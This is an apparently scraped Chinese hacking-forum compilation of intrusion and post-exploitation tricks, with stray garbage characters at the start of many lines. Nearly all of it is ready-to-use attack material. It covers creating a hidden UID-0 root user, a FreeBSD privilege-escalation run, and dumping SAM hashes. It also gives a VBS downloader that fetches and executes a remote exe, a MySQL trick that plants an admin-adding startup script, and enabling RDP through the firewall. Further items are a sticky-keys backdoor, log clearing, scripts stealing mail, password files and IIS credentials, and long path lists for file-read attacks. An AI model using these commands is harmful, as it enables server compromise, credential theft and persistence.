/ L, Q9 D0 @$ Vrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
2 ]$ U' O0 T  N" chttp://app.finance.xxx.com/warn/nothack.txt
) m. W2 `1 K' L5 }  m
四.squid渗透技巧
' ~; ?8 h; a8 Vnc -vv baidu.com 80
0 g: w) [* J! r3 M9 e- F. f* OGET HTTP://www.sina.com / HTTP/1.0
  c) F: P1 w7 b4 J( e. tGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
  r1 b. a' c! t! |
3 ^. {4 k% }, Z1 T- Z% ?$ x六.joomla渗透小技巧
1 M4 W* a; Y$ h- j5 t/ c确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
. E" K( h6 O" |# H2 Z7 m' p
15&catid=32:languages&Itemid=47

$ c2 X' b8 {* f% g% Q' K. f2 f% X重新设置密码
% q  G6 s# N. ^: r$ jindex.php?option=com_user&view=reset&layout=confirm
' J- e5 y, |3 O8 B2 X, O
七: Linux添加UID为0的root用户
' m8 E: t& s3 m7 u  ?useradd -o -u 0 nothack

  T# O7 |( }, O- c八.freebsd本地提权
; Z6 i0 e& Z% R( x% ~[argp@julius ~]$ uname -rsi
7 O$ O& w1 T+ \/ w! }9 Q' y* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
4 q0 O# P& F  u* uid=1001(argp) gid=1001(argp) groups=1001(argp)
6 n1 E9 Q! N% F9 n. L! [2 L* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
$ K# A; Q  b% ~) }% D8 _! z/ R*
( d$ p/ t3 X6 j( i' w# Q  u! T2 H+ _calling nmount()

5 ?, p( N: k" H（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
5 |2 X: H. N6 p, ?$ g0 t/ {; lalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
1 m& c# Z4 r( e注：
/ W+ {& e) E4 I- `6 j: @关于tar的打包方式,linux不以扩展名来决定文件类型。
3 Z: {7 Y" M  G8 U1 ^. N2 }若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
( L( T6 e- r4 I4 ~  \4 ?3 ^0 g. ?那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
3 O/ C$ ]: D# R( C3 H, J
8 Y7 ^% E9 S/ K4 L8 |提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
9 C' J3 s  {4 l+ |6 L7 x) J4 J命令行RAR打包~~·
* M7 b) l* ?3 m0 {: H: }rar a -k -r -s -m3 c:\1.rar c:\folder
7 I. ~* X5 }1 q1 M——————————————
2、收集系统信息的脚本  
for window：
5 V) I  V! w2 |- r: h$ t
@echo off
$ Q! `9 N$ N/ k; Hecho #########system info collection
: [8 H! H0 z, g7 {0 E& G: Csysteminfo
ver
& w! D: g+ Z* N$ Thostname
8 a8 V) H6 Y5 S# h$ knet user
6 F. s7 G+ S2 Z' }. C5 _net localgroup
net localgroup administrators
% [4 S# h; G2 j: hnet user guest
; v# ?, L. _/ [) u8 T  _: Y. Dnet user administrator

) ]4 U2 N. k% Becho #######at- with   atq#####
# Z. s  [* P4 e6 s( w* [7 |* W: Gecho schtask /query
7 ]+ F5 p9 y4 c3 [+ U0 W
4 l2 E6 c8 ]/ @! M" Mecho
! t; E# {( K! N0 X( e. F9 Yecho ####task-list#############
tasklist /svc
& i. ?2 e' X, S! n! |% Gecho
echo ####net-work infomation
$ o* }2 T* @& J6 s' \5 Tipconfig/all
route print
arp -a
netstat -anipconfig /displaydns
9 K. f/ t6 j, K% T+ y- aecho
echo #######service############
sc query type= service state= all
echo #######file-##############
cd \
( G. z2 t1 D, r% l) Utree -F
1 \/ S2 ^1 Q2 P0 T8 J  O; Zfor linux：
) U& q! C. U" N* G
#!/bin/bash

echo #######geting sysinfo####
& T0 J0 S& p$ gecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
& m6 {6 ~3 |7 E, K6 mecho #######basic infomation##
! {& G7 @- ^/ x& T0 O0 [, t% a" L' zcat /proc/meminfo
echo
5 q. K$ ?4 D9 t7 E% pcat /proc/cpuinfo
3 W7 j9 M; k/ a; R" Becho
) C! I  ?* W7 A8 R1 }# Zrpm -qa 2>/dev/null
# q; _( j% |0 p( X; Q" x######stole the mail......######
) |0 f3 k2 h- l: scp -a /var/mail /tmp/getmail 2>/dev/null
8 X) a) F3 o( _
" w) T" r. X) B' {* H- Z
echo 'u'r id is' `id`
3 C4 L* w5 P+ g% b1 n# f' necho ###atq&crontab#####
, p! \  g- A* @% p3 v; y! catq
0 k& I9 R( ?1 x0 k- acrontab -l
/ X* X- S' b, E: zecho #####about var#####
set
. y( C2 Y: R9 y, ]& G
3 Y3 `7 j+ Z% l- Xecho #####about network###
8 G7 V2 y! ^( H( Y6 {####this is then point in pentest,but i am a new bird,so u need to add some in it
& H1 z1 [" v2 h; g) Y0 E* t8 ]3 acat /etc/hosts
% r8 d7 ?+ z6 F5 h7 mhostname
ipconfig -a
arp -v
+ [" P* h1 d- t- z( Y& secho ########user####
cat /etc/passwd|grep -i sh
7 a# O4 J) ?; ?9 t# l' D  Y" k1 Q$ |, f
0 G8 N# t' I* _7 b% hecho ######service####
. q9 y5 O2 i; [chkconfig --list
; [* f7 @# @: X2 O" g; d# s
for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done

locate passwd >/tmp/password 2>/dev/null
5 p( q( r$ z' l, b" p; L' f, g+ t" g9 y9 |sleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
* R) H2 }9 A/ dsleep 5
3 b3 p0 |4 W4 ^, w' P( \6 V! I" olocate config >>/tmp/sysconfig 2>/dev/null
sleep 5

$ V+ m7 C, ^3 c0 W###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
6 M' W$ ^: ~1 T) Frm -rf /tmp/getmail /tmp/password /tmp/sysconfig
+ [0 E; T/ R2 \, F——————————————
/ m9 u. ^/ |; _6 X3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
4 O- g. m4 e/ V4 C$ d4 d2 g接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
2 v: \- ]+ ]' H7 q& R* G' v据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
/ n/ b2 m! S9 |7 {& U& `4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

  E8 k* _8 L$ A1 I5 Z- Y  c! i/ A2
On Error Resume Nextim iRemote,iLocal,s1,s2
- G. M7 Z5 {2 MiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
9 d* T% c! }" S6 i, |Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
1 F% p! L# u9 g& n0 H# GsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
* ~6 {* }  z! B4 A; @0 z' a
: J& t( E* W3 G" J4 X/ b* D5 Z2 i7 f& x0 Vcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
- [* K' h0 j. n! L+ H- K. c
" U4 K" V) ^, _$ D当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
1.查询终端端口
1 o) i5 R% X+ X  UREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
, o- [" ^: A+ v( A# v2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
% H: j7 K& U: B, d* M0 u3.更改终端端口为2008(0x7d8)
0 Y/ R3 f6 G$ M/ MREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
* K2 z. \9 c; Z) J! f1 z: q4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
  ?, K: T) c; y4 J% L& a————————————————
# @. m. v/ J, p/ Z/ B' T6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
1 G2 u) u5 k4 R2 m( d" Sinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
1 T# u1 ]8 t# T4 h$ jselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
4 ]6 h/ f2 V; V& R4 b————————————————————
- J& u6 j: V6 z  u* b* n) D  \7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
+ _( p: V# N% A# Z1 n_____
8、for /d %i in (d:\freehost\*) do @echo %i
' @! B' V" T2 n" W( M1 u& q; e# n
列出d的所有目录
  
  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
4 `8 H# ?2 y' h. q. @
7 M7 `# L* n  R6 bfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
2 ^* w8 G  v, n& a
3.for /f %i in (c:\1.txt) do echo %i
% f, K# Z! n6 r& F+ I  
% ]' V& x, a% w  T( X% H, H  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
- i- p+ U9 _: w) Q
  delims=后的空格是分隔符 tokens是取第几个位置
# j8 P6 p% q7 d; G. i+ O——————————
7 {7 q8 Y& f! ~  g" T●注册表:
" H! |* M, r4 V9 g& C1.Administrator注册表备份:
2 {- t2 t% U* m' e6 rreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
9 j/ j# R# c% d. u$ _! R% H修改PortNumber.
& M2 ]. J' C* {4 ~+ a4 F  s% L
3.清除3389登录记录:
  c, z/ C1 Q4 o& f$ `# X; i5 ]reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
. A4 ^9 Q3 m3 \! ^: a
4.Radmin密码:
6 a% \1 ^6 i6 W2 |6 M7 z0 F; Wreg export HKLM\SYSTEM\RAdmin c:\a.reg
5 J8 f" j, s% Q3 T( P; Z; Q
0 `/ @# R2 _- g& Z3 B1 c2 z5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
% W2 e( D: r" U  L: M7 r
0 ^; h9 q1 U( y5 K; v6.IPSec默认免除项88端口(需重启):
7 v7 E, F+ E: S+ v0 Y6 F1 _reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
- f' }7 c4 K$ a7 vnetsh ipsec dynamic set config ipsecexempt value=0
" x% ]$ r3 m4 X7 M% }5 U9 Y, x
7.停止指派策略"myipsec":
7 A3 p  Q/ K6 N: ]' N( z5 _% xnetsh ipsec static set policy name="myipsec" assign=n

4 R$ z% r2 T) A' W8.系统口令恢复LM加密:
) i( `- P5 u  Y" z, B! X- M% j  Treg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
, U& U1 @2 n0 @3 H/ A3 t$ K% D3 S
9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
. J, j/ Q) q: G! `8 i: r: s0 dreg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

* Y* R. u% X7 b: @7 d3 m10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

. g. a8 ?, F0 Dreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
( h1 `, k5 b  G4 r  \星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
/ D' X/ T% {' pFor Each obj3w In objservice
1 v  @- l' R9 d; Y2 ~childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
" o+ C% Y2 p0 k$ Q( omsgbox("error!")
; A, \  D; V$ k7 Owscript.quit
. {, [. V: e: f, x5 \/ kend if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
* b0 ~" q6 p) z8 P8 Hpass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
/ t- W7 d. e/ v' _' GNext
wscript.echo list
Set ObjService=Nothing
( h! V4 y4 i/ ^! c5 R$ cwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
- }; K& {' |, ~/ _1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
% W- d( L; J$ {  a1 o2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
7 z1 F/ o* n9 F' J: C<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
: a8 R+ K7 M; [</OBJECT>
! T2 S: z$ z  p$ Z% s* |9 y+ Q复制代码
8 {5 W+ v/ O: {* `8 q4 A# H. [然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
+ \' z6 \. ?. [6 I2 K6 jasp代码，利用的时候会出现登录问题
; z9 x4 P# H+ G5 y4 n 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
+ o8 x! \2 \! Q# [! H/ w- y, L path_info可以直接呈现虚拟路径 顺利解析gif大马
* x  w% @. t2 g* C
* U& f* K6 ]+ F. v1 _  `0 ?; c==============================================================
LINUX常见路径：
7 ]" ^6 \/ K1 {9 Y3 k
6 I) O) [# ?: S/ X0 }4 i' a- B/etc/passwd
: A) R8 S# q) N: l/etc/shadow
4 v) S2 l6 _- r  L5 m( @/etc/fstab
6 N+ N/ u( R* ~: T$ l/etc/host.conf
2 A1 ^1 B" h4 _, |3 N4 ?, v) ?7 C/etc/motd
7 Z  ?* y% c" j/etc/ld.so.conf
0 |/ [; S) E% s% J5 {" L/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
! p; W0 d8 m9 A+ \% u# V/var/httpd/conf/php.ini
$ G+ m* d# ~4 F' R" q! U7 T* i/var/www/index.html
/var/www/index.php
& t  n( e+ R: o. F3 B/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
3 q1 o3 z! [% ]. O6 q/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
0 u" o. H  t" n) g9 W9 u/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
2 ?( m, G% e% `# a/tmp/apache/htdocs/index.php
1 p5 v: f: P% s+ B9 s  v1 ~' n/etc/httpd/htdocs/index.php
. }2 |* W% I% i" n0 u/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
; Q( ^: ~' Y$ N" j7 v/www/php5/php.ini
; k+ O! [9 o4 P& i, C5 z5 E/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
+ `: _+ V) {5 S. y, {4 c9 H; X- ?) w/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
# H: }1 E" F4 b+ F/etc/apache/apache.conf
: e: S( Y5 w% O; q9 O* L1 A  e# E) m& P, U/etc/apache2/apache.conf
. i( s& b1 a& M- Y/etc/apache/httpd.conf
/etc/apache2/httpd.conf
* l& I3 s9 ]% z/ d; `; R2 }/etc/apache2/vhosts.d/00_default_vhost.conf
7 @1 f# Q" T) o3 |5 F/etc/apache2/sites-available/default
, U3 j) n( ~" I- B. K& q/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
: d" D4 T+ s# M7 d# b+ @/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
8 }! B* e9 Y% V' p: V/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
, ~- E. O; d' G' _5 }/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/ B0 d" f% \) Y5 t, s3 M+ F+ s/var/log/apache/error.log
' O% y1 Z0 H* A, }3 |  o" M+ E/var/log/apache/access_log
: i, B3 S, L: c/var/log/apache/access.log
/var/log/apache2/error_log
6 H# e4 @8 `" o: ]/var/log/apache2/error.log
/var/log/apache2/access_log
5 {' p5 l5 u4 |) S; ?+ d% u0 u/var/log/apache2/access.log
- x  }; l+ a- ^3 T% I0 U- }9 ?9 J$ S/var/www/logs/error_log
/var/www/logs/error.log
+ P( \0 T+ Q8 V/var/www/logs/access_log
  i3 x: a; R8 G/var/www/logs/access.log
0 H/ G7 [7 j9 }' O$ `: w/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
9 y( i- N: v6 }+ B1 s3 B$ U' H5 _; c/usr/local/apache/logs/access.log
/var/log/error_log
) t6 ~3 C- @" _/ |/var/log/error.log
/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
! l5 j, S5 X/ y7 E$ G& l7 j6 A/etc/php.ini
/bin/php.ini
% \: J0 n9 y( ]" R+ z& E5 p- N7 z' l/ U/etc/init.d/httpd
+ f. R, ^! m& U6 v/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
+ R# Q0 s2 z- N" S& ~/usr/local/php4/lib/php.ini
0 f; q4 f/ M" ~. j/ j" J/usr/local/php4/php.ini
- D7 v; q- g1 T% d. |0 x/usr/local/php4/lib/php.ini
( F; o( V5 b! m( H% i/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
! j* Q; B0 j( f/usr/local/php5/php5.ini
! L, k7 v! F$ ~7 ~9 E2 Z/usr/local/apache/conf/php.ini
( z- ~" Z# K# i8 l% O/usr/local/apache/conf/httpd.conf
2 H8 u. D7 _5 b3 v: q  K( x) S/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
$ W2 E9 {* l/ M- b! @8 `7 O/etc/php4/apache/php.ini
& L4 M' e7 B$ \4 ?/etc/php4/apache2/php.ini
) l- ]" x! ^# B* q/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
  x+ Y8 a1 m2 h! i: h$ K/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
4 S) r! U- ~# |7 g- k7 n2 \/etc/php/apache2/php.ini
/web/conf/php.ini
- j6 r/ F& ?. F$ ]' l4 O& w/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
9 K8 i9 o/ ~& ?4 G/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
( t/ w9 ~0 x. F, u6 G/etc/php/cgi/php.ini
: n" v; Z' S# K7 m8 Z/etc/php4/cgi/php.ini
: m) o6 U& C7 E" S5 a" P/etc/php5/cgi/php.ini
- ?3 P( O6 [0 m/php5/php.ini
5 H7 T# B3 o* J9 q& |: \& V/php4/php.ini
1 R+ ?0 B( }5 Y$ ^) f/php/php.ini
9 o9 ]! }# r' {- [/PHP/php.ini
/apache/php/php.ini
0 A. Q' C# e7 H' Z& ?/xampp/apache/bin/php.ini
5 p2 y/ g0 ^1 ^# R0 V0 G8 u$ q- q/xampp/apache/conf/httpd.conf
$ L& h7 {7 Y6 S0 n+ W7 c/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
) T8 G  ^6 s4 Y, M1 M% w  l/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
4 E+ x* w# T0 ~' m/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
& x" R/ g" ^* p, K/usr/local/mysql/my.cnf
$ l( Z, W/ e6 ]$ `: b7 O* h7 b/ M$ D9 z/usr/local/mysql/bin/mysql
/ g: D. F; r0 ?# j7 I  S1 i/etc/mysql/my.cnf
/etc/my.cnf
1 P7 c" q4 u4 j6 G9 ]. y* l/usr/local/cpanel/logs
# s* |  E) X$ O" s6 G/usr/local/cpanel/logs/stats_log
4 J! N; ?9 p8 Z6 p2 g2 g/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
9 l' e% q& b" d% u/ F2 o/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
; C2 j" M/ x1 l! [. g5 Z$ G/usr/local/cpanel/logs/stats_log
7 H. s7 c, v7 Z  L/usr/local/share/examples/php4/php.ini
* N0 ]) M, k$ n( k6 |! X/usr/local/share/examples/php/php.ini
8 r  Q% p* o4 f2 g. P" g
, e9 M* K, [5 Q& O' u$ z1 K2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
. r4 A; N/ [9 X, O6 [  Q
9 L4 V( p- k* yc:\windows\php.ini
+ |) c9 d& {1 J* x, q6 _c:\boot.ini
+ q* x# J& s1 U+ M$ {9 ec:\1.txt
c:\a.txt

) M( ]9 j/ D" Z4 _( k; j% ?c:\CMailServer\config.ini
, u9 }2 v  u# w8 X9 |1 l2 [- o4 Xc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
) A( F& p$ |) F+ ?( I3 Qc:\program files\CMailServer\CMailServer.exe
! |! p1 l( f' R9 w/ }7 ic:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
9 x" `6 r5 R" w2 o! k5 }& _) [C:\WINDOWS\FreeHost32.dll
0 |" B7 m; s2 w: S8 yC:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
8 U: g6 S* j) v1 L
/ i! ~3 E" b9 Y8 ]- J4 }& jc:\hzhost\databases\url.asp

. @5 |! K% a2 S/ c1 Hc:\hzhost\hzclient.exe
) j5 |: m4 }( S- M& a! KC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
& z2 N/ `& @+ }; N/ d6 i* ~0 }C:\WINDOWS\web.config
" v$ j6 }$ M# v1 s; Kc:\web\index.html
) a4 O7 ~2 u3 ec:\www\index.html
2 Z4 `5 }  c! E- Z( rc:\WWWROOT\index.html
c:\website\index.html
4 A8 `8 m: X2 R) [$ I$ vc:\web\index.asp
% j. S; s) o% B4 w+ U- R: Dc:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
3 G) L3 P8 U* T$ uc:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
8 W% S8 b$ i/ f7 a  W; Y1 rc:\web\default.html
  h/ X! U8 f, h* Vc:\www\default.html
& y4 B# v( v( k4 Z# W9 m- ?c:\WWWROOT\default.html
c:\website\default.html
. u- e, V( e3 @2 s1 y, |c:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
; ]5 F( x! O0 d9 [# p/ ac:\WWWROOT\default.asp
c:\web\default.php
) A! H; B+ y: B, s# }; oc:\www\default.php
6 X. c  I0 O9 R6 fc:\WWWROOT\default.php
2 C" c  h, \! f) H1 p5 B7 ^! ], P% j% q9 ~c:\WWWsite\default.php
9 z# S# T* V  E5 Z! p  G% eC:\Inetpub\wwwroot\pagerror.gif
  K1 T9 |" H0 x) f- m% Q* Q8 Gc:\windows\notepad.exe
c:\winnt\notepad.exe
; s5 H9 f7 x% ]4 d6 n* R& D. tC:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
- \$ D6 a8 g- |C:\Program Files\Internet Explorer\IEXPLORE.EXE
* i3 L4 G7 [4 R9 hC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
. R; e6 |+ E) M; L5 O- J% Z; DC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
, M" \* [# r) F6 D6 o, e4 vc:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
- r; w4 f; J7 V. T& v3 ]3 B8 P' ^C:\Documents and Settings\All Users\Start Menu\desktop.ini
# X' f& E- h3 T! q% B: M2 b" h+ E  E1 MC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
2 p1 q7 g- F+ J" u7 ], }4 d) X1 }C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
- e; `% ]+ l4 ^4 N8 M* z% X7 OC:\Documents and Settings\Administrator\My Documents\a.txt
+ F2 L9 @6 g; r  _+ IC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
' k: e. H$ H6 z1 c% C" ?; ^0 KE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
4 z- e6 f* h6 N+ C- p. lC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
& E' a6 U( v" i/ |/ Y6 c/ YC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
) u; q* j! A* m: aC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
9 H" J. o% N* B+ F# [; F; X: NC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
/ l9 g3 h, W3 t! m. |  O4 z9 PC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
